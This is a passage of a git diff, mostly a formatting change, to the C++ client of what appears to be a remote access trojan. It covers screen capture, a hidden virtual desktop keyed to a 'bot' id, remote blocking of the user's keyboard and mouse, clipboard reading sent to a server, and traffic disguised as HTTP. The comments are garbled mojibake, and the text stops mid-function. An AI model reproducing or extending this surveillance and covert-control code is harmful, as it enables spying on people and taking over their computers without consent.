DXGI_ERROR_NOT_FOUND && all) { - screen = 0; - idx ++; - dxgiAdapter->Release(); - dxgiAdapter = nullptr; - continue; - } - if (!dxgiOutput)break; + do { + // 3. ȡ豸 + static UINT idx = 0; + idx = pFactory->EnumAdapters1(idx, &dxgiAdapter) == DXGI_ERROR_NOT_FOUND ? 0 : idx; + if (!dxgiAdapter) pFactory->EnumAdapters1(idx, &dxgiAdapter); + if (!dxgiAdapter)break; - // 5. ȡ DXGI 1 - dxgiOutput->QueryInterface(__uuidof(IDXGIOutput1), (void**)&dxgiOutput1); - if (!dxgiOutput1)break; + // 4. ȡ DXGI Ļ + static UINT screen = 0; + HRESULT r = dxgiAdapter->EnumOutputs(screen++, &dxgiOutput); + if (r == DXGI_ERROR_NOT_FOUND && all) { + screen = 0; + idx ++; + dxgiAdapter->Release(); + dxgiAdapter = nullptr; + continue; + } + if (!dxgiOutput)break; - // 6. Desktop Duplication - dxgiOutput1->DuplicateOutput(d3dDevice, &deskDupl); - if (!deskDupl)break; + // 5. ȡ DXGI 1 + dxgiOutput->QueryInterface(__uuidof(IDXGIOutput1), (void**)&dxgiOutput1); + if (!dxgiOutput1)break; - // 7. ȡĻС - DXGI_OUTDUPL_DESC duplDesc; - deskDupl->GetDesc(&duplDesc); - m_ulFullWidth = duplDesc.ModeDesc.Width; - m_ulFullHeight = duplDesc.ModeDesc.Height; + // 6. Desktop Duplication + dxgiOutput1->DuplicateOutput(d3dDevice, &deskDupl); + if (!deskDupl)break; - // 8. CPU - D3D11_TEXTURE2D_DESC desc = {}; - desc.Width = m_ulFullWidth; - desc.Height = m_ulFullHeight; - desc.MipLevels = 1; - desc.ArraySize = 1; - desc.Format = DXGI_FORMAT_B8G8R8A8_UNORM; - desc.SampleDesc.Count = 1; - desc.Usage = D3D11_USAGE_STAGING; - desc.CPUAccessFlags = D3D11_CPU_ACCESS_READ; - d3dDevice->CreateTexture2D(&desc, NULL, &cpuTexture); + // 7. ȡĻС + DXGI_OUTDUPL_DESC duplDesc; + deskDupl->GetDesc(&duplDesc); + m_ulFullWidth = duplDesc.ModeDesc.Width; + m_ulFullHeight = duplDesc.ModeDesc.Height; - // 9. ʼ BITMAPINFO - m_BitmapInfor_Full = (BITMAPINFO*)new char[sizeof(BITMAPINFO)]; - memset(m_BitmapInfor_Full, 0, sizeof(BITMAPINFO)); - m_BitmapInfor_Full->bmiHeader.biSize = sizeof(BITMAPINFOHEADER); - m_BitmapInfor_Full->bmiHeader.biWidth = m_ulFullWidth; - m_BitmapInfor_Full->bmiHeader.biHeight = m_ulFullHeight; - m_BitmapInfor_Full->bmiHeader.biPlanes = 1; - m_BitmapInfor_Full->bmiHeader.biBitCount = 32; - m_BitmapInfor_Full->bmiHeader.biCompression = BI_RGB; - m_BitmapInfor_Full->bmiHeader.biSizeImage = m_ulFullWidth * m_ulFullHeight * 4; + // 8. CPU + D3D11_TEXTURE2D_DESC desc = {}; + desc.Width = m_ulFullWidth; + desc.Height = m_ulFullHeight; + desc.MipLevels = 1; + desc.ArraySize = 1; + desc.Format = DXGI_FORMAT_B8G8R8A8_UNORM; + desc.SampleDesc.Count = 1; + desc.Usage = D3D11_USAGE_STAGING; + desc.CPUAccessFlags = D3D11_CPU_ACCESS_READ; + d3dDevice->CreateTexture2D(&desc, NULL, &cpuTexture); - // 10. Ļ - m_FirstBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1]; - m_NextBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1]; - m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2 + 12]; + // 9. ʼ BITMAPINFO + m_BitmapInfor_Full = (BITMAPINFO*)new char[sizeof(BITMAPINFO)]; + memset(m_BitmapInfor_Full, 0, sizeof(BITMAPINFO)); + m_BitmapInfor_Full->bmiHeader.biSize = sizeof(BITMAPINFOHEADER); + m_BitmapInfor_Full->bmiHeader.biWidth = m_ulFullWidth; + m_BitmapInfor_Full->bmiHeader.biHeight = m_ulFullHeight; + m_BitmapInfor_Full->bmiHeader.biPlanes = 1; + m_BitmapInfor_Full->bmiHeader.biBitCount = 32; + m_BitmapInfor_Full->bmiHeader.biCompression = BI_RGB; + m_BitmapInfor_Full->bmiHeader.biSizeImage = m_ulFullWidth * m_ulFullHeight * 4; - break; - } while (true); + // 10. Ļ + m_FirstBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1]; + m_NextBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1]; + m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2 + 12]; - // ͷ DXGI Դ - if (dxgiOutput1) dxgiOutput1->Release(); - if (dxgiOutput) dxgiOutput->Release(); - if (dxgiAdapter) dxgiAdapter->Release(); - if (pFactory) pFactory->Release(); - } + break; + } while (true); - bool IsInitSucceed() const { - return cpuTexture; - } + // ͷ DXGI Դ + if (dxgiOutput1) dxgiOutput1->Release(); + if (dxgiOutput) dxgiOutput->Release(); + if (dxgiAdapter) dxgiAdapter->Release(); + if (pFactory) pFactory->Release(); + } - void CleanupDXGI() { - if (cpuTexture) cpuTexture->Release(); - if (deskDupl) deskDupl->Release(); - if (d3dContext) d3dContext->Release(); - if (d3dDevice) d3dDevice->Release(); - } + bool IsInitSucceed() const + { + return cpuTexture; + } - LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength) override { - int ret = CaptureFrame(m_FirstBuffer, ulFirstScreenLength, 1); - if (ret) - return nullptr; - if (m_bAlgorithm == ALGORITHM_GRAY) { - ToGray(1 + m_RectBuffer, 1 + m_RectBuffer, m_BitmapInfor_Full->bmiHeader.biSizeImage); - } - m_FirstBuffer[0] = TOKEN_FIRSTSCREEN; - return m_FirstBuffer; - } + void CleanupDXGI() + { + if (cpuTexture) cpuTexture->Release(); + if (deskDupl) deskDupl->Release(); + if (d3dContext) d3dContext->Release(); + if (d3dDevice) d3dDevice->Release(); + } - LPBYTE ScanNextScreen() override { - ULONG ulNextScreenLength = 0; - int ret = CaptureFrame(m_NextBuffer, &ulNextScreenLength, 0); - if (ret) - return nullptr; - - return m_NextBuffer; - } + LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength) override + { + int ret = CaptureFrame(m_FirstBuffer, ulFirstScreenLength, 1); + if (ret) + return nullptr; + if (m_bAlgorithm == ALGORITHM_GRAY) { + ToGray(1 + m_RectBuffer, 1 + m_RectBuffer, m_BitmapInfor_Full->bmiHeader.biSizeImage); + } + m_FirstBuffer[0] = TOKEN_FIRSTSCREEN; + return m_FirstBuffer; + } - virtual LPBYTE GetFirstBuffer() const { - return m_FirstBuffer + 1; - } + LPBYTE ScanNextScreen() override + { + ULONG ulNextScreenLength = 0; + int ret = CaptureFrame(m_NextBuffer, &ulNextScreenLength, 0); + if (ret) + return nullptr; + + return m_NextBuffer; + } + + virtual LPBYTE GetFirstBuffer() const + { + return m_FirstBuffer + 1; + } private: - int CaptureFrame(LPBYTE buffer, ULONG* frameSize, int reservedBytes) { - // 1. ȡһ֡ - IDXGIResource* desktopResource = nullptr; - DXGI_OUTDUPL_FRAME_INFO frameInfo; - HRESULT hr = deskDupl->AcquireNextFrame(100, &frameInfo, &desktopResource); - if (FAILED(hr)) { - return -1; - } + int CaptureFrame(LPBYTE buffer, ULONG* frameSize, int reservedBytes) + { + // 1. ȡһ֡ + IDXGIResource* desktopResource = nullptr; + DXGI_OUTDUPL_FRAME_INFO frameInfo; + HRESULT hr = deskDupl->AcquireNextFrame(100, &frameInfo, &desktopResource); + if (FAILED(hr)) { + return -1; + } - // 2. ȡ ID3D11Texture2D - ID3D11Texture2D* texture = nullptr; - hr = desktopResource->QueryInterface(__uuidof(ID3D11Texture2D), (void**)&texture); - if (FAILED(hr)) { - deskDupl->ReleaseFrame(); - return -2; - } + // 2. ȡ ID3D11Texture2D + ID3D11Texture2D* texture = nullptr; + hr = desktopResource->QueryInterface(__uuidof(ID3D11Texture2D), (void**)&texture); + if (FAILED(hr)) { + deskDupl->ReleaseFrame(); + return -2; + } - // 3. Ƶ CPU - d3dContext->CopyResource(cpuTexture, texture); + // 3. Ƶ CPU + d3dContext->CopyResource(cpuTexture, texture); - // 4. ͷ DXGI Դ - deskDupl->ReleaseFrame(); - texture->Release(); - desktopResource->Release(); + // 4. ͷ DXGI Դ + deskDupl->ReleaseFrame(); + texture->Release(); + desktopResource->Release(); - // 5. ȡ - D3D11_MAPPED_SUBRESOURCE mapped; - hr = d3dContext->Map(cpuTexture, 0, D3D11_MAP_READ, 0, &mapped); - if (FAILED(hr)) { - return -3; - } + // 5. ȡ + D3D11_MAPPED_SUBRESOURCE mapped; + hr = d3dContext->Map(cpuTexture, 0, D3D11_MAP_READ, 0, &mapped); + if (FAILED(hr)) { + return -3; + } - // 6. ݵֱת - BYTE* pData = (BYTE*)mapped.pData; - int rowSize = m_ulFullWidth * 4; // ÿеֽRGBA + // 6. ݵֱת + BYTE* pData = (BYTE*)mapped.pData; + int rowSize = m_ulFullWidth * 4; // ÿеֽRGBA - for (int y = 0; y < m_ulFullHeight; y++) { - // Ŀ껺λãӵײ - int destIndex = reservedBytes + (m_ulFullHeight - 1 - y) * rowSize; - int srcIndex = y * mapped.RowPitch; // Direct3D ƫ - memcpy(buffer + destIndex, pData + srcIndex, rowSize); - } + for (int y = 0; y < m_ulFullHeight; y++) { + // Ŀ껺λãӵײ + int destIndex = reservedBytes + (m_ulFullHeight - 1 - y) * rowSize; + int srcIndex = y * mapped.RowPitch; // Direct3D ƫ + memcpy(buffer + destIndex, pData + srcIndex, rowSize); + } - // 7. - d3dContext->Unmap(cpuTexture, 0); + // 7. + d3dContext->Unmap(cpuTexture, 0); - *frameSize = m_ulFullWidth * m_ulFullHeight * 4; - return 0; - } + *frameSize = m_ulFullWidth * m_ulFullHeight * 4; + return 0; + } }; diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp index 038f305..b904dc0 100644 --- a/client/ScreenManager.cpp +++ b/client/ScreenManager.cpp @@ -27,674 +27,652 @@ #define WM_MOUSEWHEEL 0x020A #define GET_WHEEL_DELTA_WPARAM(wParam)((short)HIWORD(wParam)) -bool IsWindows8orHigher() { - typedef LONG(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW); - HMODULE hMod = GetModuleHandleW(L"ntdll.dll"); - if (!hMod) return false; +bool IsWindows8orHigher() +{ + typedef LONG(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW); + HMODULE hMod = GetModuleHandleW(L"ntdll.dll"); + if (!hMod) return false; - RtlGetVersionPtr rtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hMod, "RtlGetVersion"); - if (!rtlGetVersion) return false; + RtlGetVersionPtr rtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hMod, "RtlGetVersion"); + if (!rtlGetVersion) return false; - RTL_OSVERSIONINFOW rovi = { 0 }; - rovi.dwOSVersionInfoSize = sizeof(rovi); - if (rtlGetVersion(&rovi) == 0) { - return (rovi.dwMajorVersion > 6) || (rovi.dwMajorVersion == 6 && rovi.dwMinorVersion >= 2); - } - return false; + RTL_OSVERSIONINFOW rovi = { 0 }; + rovi.dwOSVersionInfoSize = sizeof(rovi); + if (rtlGetVersion(&rovi) == 0) { + return (rovi.dwMajorVersion > 6) || (rovi.dwMajorVersion == 6 && rovi.dwMinorVersion >= 2); + } + return false; } CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject) { - m_bIsWorking = TRUE; - m_bIsBlockInput = FALSE; - g_hDesk = nullptr; - m_DesktopID = GetBotId(); - m_ScreenSpyObject = nullptr; - m_ptrUser = (INT_PTR)user; + m_bIsWorking = TRUE; + m_bIsBlockInput = FALSE; + g_hDesk = nullptr; + m_DesktopID = GetBotId(); + m_ScreenSpyObject = nullptr; + m_ptrUser = (INT_PTR)user; - m_point = {}; - m_lastPoint = {}; - m_lmouseDown = FALSE; - m_hResMoveWindow = nullptr; - m_resMoveType = 0; - m_rmouseDown = FALSE; - m_rclickPoint = {}; - m_rclickWnd = nullptr; + m_point = {}; + m_lastPoint = {}; + m_lmouseDown = FALSE; + m_hResMoveWindow = nullptr; + m_resMoveType = 0; + m_rmouseDown = FALSE; + m_rclickPoint = {}; + m_rclickWnd = nullptr; - m_hWorkThread = __CreateThread(NULL,0, WorkThreadProc,this,0,NULL); + m_hWorkThread = __CreateThread(NULL,0, WorkThreadProc,this,0,NULL); } -std::wstring ConvertToWString(const std::string& multiByteStr) { - int len = MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, NULL, 0); - if (len == 0) return L""; // תʧ +std::wstring ConvertToWString(const std::string& multiByteStr) +{ + int len = MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, NULL, 0); + if (len == 0) return L""; // תʧ - std::wstring wideStr(len, L'\0'); - MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, &wideStr[0], len); + std::wstring wideStr(len, L'\0'); + MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, &wideStr[0], len); - return wideStr; + return wideStr; } -bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName) { - bool bReturn = false; +bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName) +{ + bool bReturn = false; - try { - if (!pszApplicationFilePath || !pszDesktopName || !strlen(pszApplicationFilePath) || !strlen(pszDesktopName)) - return false; + try { + if (!pszApplicationFilePath || !pszDesktopName || !strlen(pszApplicationFilePath) || !strlen(pszDesktopName)) + return false; - TCHAR szDirectoryName[MAX_PATH * 2] = { 0 }; - TCHAR szExplorerFile[MAX_PATH * 2] = { 0 }; + TCHAR szDirectoryName[MAX_PATH * 2] = { 0 }; + TCHAR szExplorerFile[MAX_PATH * 2] = { 0 }; - strcpy_s(szDirectoryName, strlen(pszApplicationFilePath) + 1, pszApplicationFilePath); + strcpy_s(szDirectoryName, strlen(pszApplicationFilePath) + 1, pszApplicationFilePath); - std::wstring path = ConvertToWString(pszApplicationFilePath); - if (!PathIsExe(path.c_str())) - return false; - PathRemoveFileSpec(szDirectoryName); - STARTUPINFO sInfo = { 0 }; - PROCESS_INFORMATION pInfo = { 0 }; + std::wstring path = ConvertToWString(pszApplicationFilePath); + if (!PathIsExe(path.c_str())) + return false; + PathRemoveFileSpec(szDirectoryName); + STARTUPINFO sInfo = { 0 }; + PROCESS_INFORMATION pInfo = { 0 }; - sInfo.cb = sizeof(sInfo); - sInfo.lpDesktop = pszDesktopName; + sInfo.cb = sizeof(sInfo); + sInfo.lpDesktop = pszDesktopName; - //Launching a application into desktop - BOOL bCreateProcessReturn = CreateProcess(pszApplicationFilePath, - NULL, - NULL, - NULL, - TRUE, - NORMAL_PRIORITY_CLASS, - NULL, - szDirectoryName, - &sInfo, - &pInfo); - CloseHandle(pInfo.hProcess); - CloseHandle(pInfo.hThread); - TCHAR* pszError = NULL; - FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, - NULL, GetLastError(), 0, reinterpret_cast(&pszError), 0, NULL); + //Launching a application into desktop + BOOL bCreateProcessReturn = CreateProcess(pszApplicationFilePath, + NULL, + NULL, + NULL, + TRUE, + NORMAL_PRIORITY_CLASS, + NULL, + szDirectoryName, + &sInfo, + &pInfo); + CloseHandle(pInfo.hProcess); + CloseHandle(pInfo.hThread); + TCHAR* pszError = NULL; + FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, + NULL, GetLastError(), 0, reinterpret_cast(&pszError), 0, NULL); - if (pszError) { - Mprintf("CreateProcess [%s] failed: %s\n", pszApplicationFilePath, pszError); - LocalFree(pszError); // ͷڴ - } + if (pszError) { + Mprintf("CreateProcess [%s] failed: %s\n", pszApplicationFilePath, pszError); + LocalFree(pszError); // ͷڴ + } - if (bCreateProcessReturn) - bReturn = true; + if (bCreateProcessReturn) + bReturn = true; - } - catch (...) { - bReturn = false; - } + } catch (...) { + bReturn = false; + } - return bReturn; + return bReturn; } -void CScreenManager::InitScreenSpy() { - int DXGI = USING_GDI; - BYTE algo = ALGORITHM_DIFF; - BYTE* user = (BYTE*)m_ptrUser; - BOOL all = FALSE; - if (!(user == NULL || ((int)user) == 1)) { - UserParam* param = (UserParam*)user; - if (param) { - DXGI = param->buffer[0]; - algo = param->length > 1 ? param->buffer[1] : algo; - all = param->length > 2 ? param->buffer[2] : all; - delete param; - } - } - else { - DXGI = (int)user; - } - Mprintf("CScreenManager: Type %d Algorithm: %d\n", DXGI, int(algo)); - if (DXGI == USING_VIRTUAL) { - HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str()); - if (!hDesk) { - if (hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL)) { - Mprintf("Ļɹ: %s\n", m_DesktopID.c_str()); - TCHAR szExplorerFile[MAX_PATH * 2] = { 0 }; - GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1); - strcat_s(szExplorerFile, MAX_PATH * 2 - 1, "\\Explorer.Exe"); - if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) { - Mprintf("Դʧ[%s]!!!\n", m_DesktopID.c_str()); - } - } - else { - Mprintf("Ļʧ: %s\n", m_DesktopID.c_str()); - } - } - else { - Mprintf("Ļɹ: %s\n", m_DesktopID.c_str()); - } - if (hDesk) { - SetThreadDesktop(g_hDesk = hDesk); - } - } +void CScreenManager::InitScreenSpy() +{ + int DXGI = USING_GDI; + BYTE algo = ALGORITHM_DIFF; + BYTE* user = (BYTE*)m_ptrUser; + BOOL all = FALSE; + if (!(user == NULL || ((int)user) == 1)) { + UserParam* param = (UserParam*)user; + if (param) { + DXGI = param->buffer[0]; + algo = param->length > 1 ? param->buffer[1] : algo; + all = param->length > 2 ? param->buffer[2] : all; + delete param; + } + } else { + DXGI = (int)user; + } + Mprintf("CScreenManager: Type %d Algorithm: %d\n", DXGI, int(algo)); + if (DXGI == USING_VIRTUAL) { + HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str()); + if (!hDesk) { + if (hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL)) { + Mprintf("Ļɹ: %s\n", m_DesktopID.c_str()); + TCHAR szExplorerFile[MAX_PATH * 2] = { 0 }; + GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1); + strcat_s(szExplorerFile, MAX_PATH * 2 - 1, "\\Explorer.Exe"); + if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) { + Mprintf("Դʧ[%s]!!!\n", m_DesktopID.c_str()); + } + } else { + Mprintf("Ļʧ: %s\n", m_DesktopID.c_str()); + } + } else { + Mprintf("Ļɹ: %s\n", m_DesktopID.c_str()); + } + if (hDesk) { + SetThreadDesktop(g_hDesk = hDesk); + } + } - if ((USING_DXGI == DXGI && IsWindows8orHigher())) - { - auto s = new ScreenCapturerDXGI(algo, DEFAULT_GOP, all); - if (s->IsInitSucceed()) { - m_ScreenSpyObject = s; - } - else { - SAFE_DELETE(s); - m_ScreenSpyObject = new CScreenSpy(32, algo, FALSE, DEFAULT_GOP, all); - Mprintf("CScreenManager: DXGI SPY init failed!!! Using GDI instead.\n"); - } - } - else - { - m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL, DEFAULT_GOP, all); - } + if ((USING_DXGI == DXGI && IsWindows8orHigher())) { + auto s = new ScreenCapturerDXGI(algo, DEFAULT_GOP, all); + if (s->IsInitSucceed()) { + m_ScreenSpyObject = s; + } else { + SAFE_DELETE(s); + m_ScreenSpyObject = new CScreenSpy(32, algo, FALSE, DEFAULT_GOP, all); + Mprintf("CScreenManager: DXGI SPY init failed!!! Using GDI instead.\n"); + } + } else { + m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL, DEFAULT_GOP, all); + } } DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam) { - CScreenManager *This = (CScreenManager *)lParam; + CScreenManager *This = (CScreenManager *)lParam; - This->InitScreenSpy(); + This->InitScreenSpy(); - This->SendBitMapInfo(); //bmpλͼṹ + This->SendBitMapInfo(); //bmpλͼṹ - // ȿƶ˶Ի - This->WaitForDialogOpen(); + // ȿƶ˶Ի + This->WaitForDialogOpen(); - clock_t last = clock(); - This->SendFirstScreen(); + clock_t last = clock(); + This->SendFirstScreen(); #if USING_ZLIB - const int fps = 8;// ֡ + const int fps = 8;// ֡ #else - const int fps = 8;// ֡ + const int fps = 8;// ֡ #endif - const int sleep = 1000 / fps;// ʱ䣨ms - int c1 = 0; // ʱĴ - int c2 = 0; // ʱ̵Ĵ - float s0 = sleep; // ֮֡ms - const int frames = fps; // ÿĻٶ - const float alpha = 1.03; // fps - timeBeginPeriod(1); - while (This->m_bIsWorking) - { - ULONG ulNextSendLength = 0; - const char* szBuffer = This->GetNextScreen(ulNextSendLength); - if (szBuffer) - { - s0 = max(s0, 50); // ÿ20֡ - s0 = min(s0, 1000); - int span = s0-(clock() - last); - Sleep(span > 0 ? span : 1); - if (span < 0) // ݺʱϳϲݽ϶ - { - c2 = 0; - if (frames == ++c1) { // һʱ - s0 = (s0 <= sleep*4) ? s0*alpha : s0; - c1 = 0; + const int sleep = 1000 / fps;// ʱ䣨ms + int c1 = 0; // ʱĴ + int c2 = 0; // ʱ̵Ĵ + float s0 = sleep; // ֮֡ms + const int frames = fps; // ÿĻٶ + const float alpha = 1.03; // fps + timeBeginPeriod(1); + while (This->m_bIsWorking) { + ULONG ulNextSendLength = 0; + const char* szBuffer = This->GetNextScreen(ulNextSendLength); + if (szBuffer) { + s0 = max(s0, 50); // ÿ20֡ + s0 = min(s0, 1000); + int span = s0-(clock() - last); + Sleep(span > 0 ? span : 1); + if (span < 0) { // ݺʱϳϲݽ϶ + c2 = 0; + if (frames == ++c1) { // һʱ + s0 = (s0 <= sleep*4) ? s0*alpha : s0; + c1 = 0; #ifdef _DEBUG - if (1000./s0>1.0) - Mprintf("[+]SendScreen Span= %dms, s0= %f, fps= %f\n", span, s0, 1000./s0); + if (1000./s0>1.0) + Mprintf("[+]SendScreen Span= %dms, s0= %f, fps= %f\n", span, s0, 1000./s0); #endif - } - } else if (span > 0){ // ݺʱs0̣ʾϺûݰС - c1 = 0; - if (frames == ++c2) { // һʱ - s0 = (s0 >= sleep/4) ? s0/alpha : s0; - c2 = 0; + } + } else if (span > 0) { // ݺʱs0̣ʾϺûݰС + c1 = 0; + if (frames == ++c2) { // һʱ + s0 = (s0 >= sleep/4) ? s0/alpha : s0; + c2 = 0; #ifdef _DEBUG - if (1000./s0<20.0) - Mprintf("[-]SendScreen Span= %dms, s0= %f, fps= %f\n", span, s0, 1000./s0); + if (1000./s0<20.0) + Mprintf("[-]SendScreen Span= %dms, s0= %f, fps= %f\n", span, s0, 1000./s0); #endif - } - } - last = clock(); - This->SendNextScreen(szBuffer, ulNextSendLength); - } - } - timeEndPeriod(1); - Mprintf("ScreenWorkThread Exit\n"); + } + } + last = clock(); + This->SendNextScreen(szBuffer, ulNextSendLength); + } + } + timeEndPeriod(1); + Mprintf("ScreenWorkThread Exit\n"); - return 0; + return 0; } VOID CScreenManager::SendBitMapInfo() { - //õbmpṹĴС - const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER); - LPBYTE szBuffer = (LPBYTE)VirtualAlloc(NULL, - ulLength, MEM_COMMIT, PAGE_READWRITE); - if (szBuffer == NULL) - return; - szBuffer[0] = TOKEN_BITMAPINFO; - //ォbmpλͼṹͳȥ - memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1); - HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); - m_ClientObject->Send2Server((char*)szBuffer, ulLength, &mask); - VirtualFree(szBuffer, 0, MEM_RELEASE); + //õbmpṹĴС + const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER); + LPBYTE szBuffer = (LPBYTE)VirtualAlloc(NULL, + ulLength, MEM_COMMIT, PAGE_READWRITE); + if (szBuffer == NULL) + return; + szBuffer[0] = TOKEN_BITMAPINFO; + //ォbmpλͼṹͳȥ + memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1); + HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); + m_ClientObject->Send2Server((char*)szBuffer, ulLength, &mask); + VirtualFree(szBuffer, 0, MEM_RELEASE); } CScreenManager::~CScreenManager() { - Mprintf("ScreenManager \n"); + Mprintf("ScreenManager \n"); - m_bIsWorking = FALSE; + m_bIsWorking = FALSE; - WaitForSingleObject(m_hWorkThread, INFINITE); - if (m_hWorkThread!=NULL) - { - CloseHandle(m_hWorkThread); - } + WaitForSingleObject(m_hWorkThread, INFINITE); + if (m_hWorkThread!=NULL) { + CloseHandle(m_hWorkThread); + } - delete m_ScreenSpyObject; - m_ScreenSpyObject = NULL; + delete m_ScreenSpyObject; + m_ScreenSpyObject = NULL; } VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { - switch(szBuffer[0]) - { - case COMMAND_NEXT: - { - NotifyDialogIsOpen(); - break; - } - case COMMAND_SCREEN_CONTROL: - { - BlockInput(false); - ProcessCommand(szBuffer + 1, ulLength - 1); - BlockInput(m_bIsBlockInput); //ٻָû + switch(szBuffer[0]) { + case COMMAND_NEXT: { + NotifyDialogIsOpen(); + break; + } + case COMMAND_SCREEN_CONTROL: { + BlockInput(false); + ProcessCommand(szBuffer + 1, ulLength - 1); + BlockInput(m_bIsBlockInput); //ٻָû - break; - } - case COMMAND_SCREEN_BLOCK_INPUT: //ControlThread - { - m_bIsBlockInput = *(LPBYTE)&szBuffer[1]; //̵ + break; + } + case COMMAND_SCREEN_BLOCK_INPUT: { //ControlThread + m_bIsBlockInput = *(LPBYTE)&szBuffer[1]; //̵ - BlockInput(m_bIsBlockInput); + BlockInput(m_bIsBlockInput); - break; - } - case COMMAND_SCREEN_GET_CLIPBOARD: - { - SendClientClipboard(); - break; - } - case COMMAND_SCREEN_SET_CLIPBOARD: - { - UpdateClientClipboard((char*)szBuffer + 1, ulLength - 1); - break; - } - } + break; + } + case COMMAND_SCREEN_GET_CLIPBOARD: { + SendClientClipboard(); + break; + } + case COMMAND_SCREEN_SET_CLIPBOARD: { + UpdateClientClipboard((char*)szBuffer + 1, ulLength - 1); + break; + } + } } VOID CScreenManager::UpdateClientClipboard(char *szBuffer, ULONG ulLength) { - if (!::OpenClipboard(NULL)) - return; - ::EmptyClipboard(); - HGLOBAL hGlobal = GlobalAlloc(GMEM_DDESHARE, ulLength); - if (hGlobal != NULL) { + if (!::OpenClipboard(NULL)) + return; + ::EmptyClipboard(); + HGLOBAL hGlobal = GlobalAlloc(GMEM_DDESHARE, ulLength); + if (hGlobal != NULL) { - LPTSTR szClipboardVirtualAddress = (LPTSTR) GlobalLock(hGlobal); - if (szClipboardVirtualAddress == NULL) - return; - memcpy(szClipboardVirtualAddress, szBuffer, ulLength); - GlobalUnlock(hGlobal); - if(NULL==SetClipboardData(CF_TEXT, hGlobal)) - GlobalFree(hGlobal); - } - CloseClipboard(); + LPTSTR szClipboardVirtualAddress = (LPTSTR) GlobalLock(hGlobal); + if (szClipboardVirtualAddress == NULL) + return; + memcpy(szClipboardVirtualAddress, szBuffer, ulLength); + GlobalUnlock(hGlobal); + if(NULL==SetClipboardData(CF_TEXT, hGlobal)) + GlobalFree(hGlobal); + } + CloseClipboard(); } VOID CScreenManager::SendClientClipboard() { - if (!::OpenClipboard(NULL)) //򿪼а豸 - return; - HGLOBAL hGlobal = GetClipboardData(CF_TEXT); //һڴ - if (hGlobal == NULL) - { - ::CloseClipboard(); - return; - } - size_t iPacketLength = GlobalSize(hGlobal) + 1; - char* szClipboardVirtualAddress = (LPSTR) GlobalLock(hGlobal); // - LPBYTE szBuffer = new BYTE[iPacketLength]; + if (!::OpenClipboard(NULL)) //򿪼а豸 + return; + HGLOBAL hGlobal = GetClipboardData(CF_TEXT); //һڴ + if (hGlobal == NULL) { + ::CloseClipboard(); + return; + } + size_t iPacketLength = GlobalSize(hGlobal) + 1; + char* szClipboardVirtualAddress = (LPSTR) GlobalLock(hGlobal); // + LPBYTE szBuffer = new BYTE[iPacketLength]; - szBuffer[0] = TOKEN_CLIPBOARD_TEXT; - memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1); - ::GlobalUnlock(hGlobal); - ::CloseClipboard(); - m_ClientObject->Send2Server((char*)szBuffer, iPacketLength); - delete[] szBuffer; + szBuffer[0] = TOKEN_CLIPBOARD_TEXT; + memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1); + ::GlobalUnlock(hGlobal); + ::CloseClipboard(); + m_ClientObject->Send2Server((char*)szBuffer, iPacketLength); + delete[] szBuffer; } VOID CScreenManager::SendFirstScreen() { - ULONG ulFirstSendLength = 0; - LPVOID FirstScreenData = m_ScreenSpyObject->GetFirstScreenData(&ulFirstSendLength); - if (ulFirstSendLength == 0 || FirstScreenData == NULL) - { - return; - } + ULONG ulFirstSendLength = 0; + LPVOID FirstScreenData = m_ScreenSpyObject->GetFirstScreenData(&ulFirstSendLength); + if (ulFirstSendLength == 0 || FirstScreenData == NULL) { + return; + } - m_ClientObject->Send2Server((char*)FirstScreenData, ulFirstSendLength + 1); + m_ClientObject->Send2Server((char*)FirstScreenData, ulFirstSendLength + 1); } const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength) { - LPVOID NextScreenData = 